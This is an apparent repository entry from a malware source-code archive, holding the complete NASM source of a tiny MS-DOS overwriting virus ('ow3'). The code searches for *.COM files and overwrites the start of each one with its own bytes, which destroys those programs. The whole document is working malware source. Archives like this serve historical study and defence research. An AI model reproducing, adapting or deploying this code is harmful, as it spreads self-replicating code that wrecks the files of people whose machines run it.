MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ow3.asm
2021-01-12 17:52:14 -06:00

18 lines
467 B
NASM

Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ah,3dh
inc ax
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
Mov Ah,4fh
On1: Jmp On2
FileSpec Db '*.COM',0
Length Equ $-Main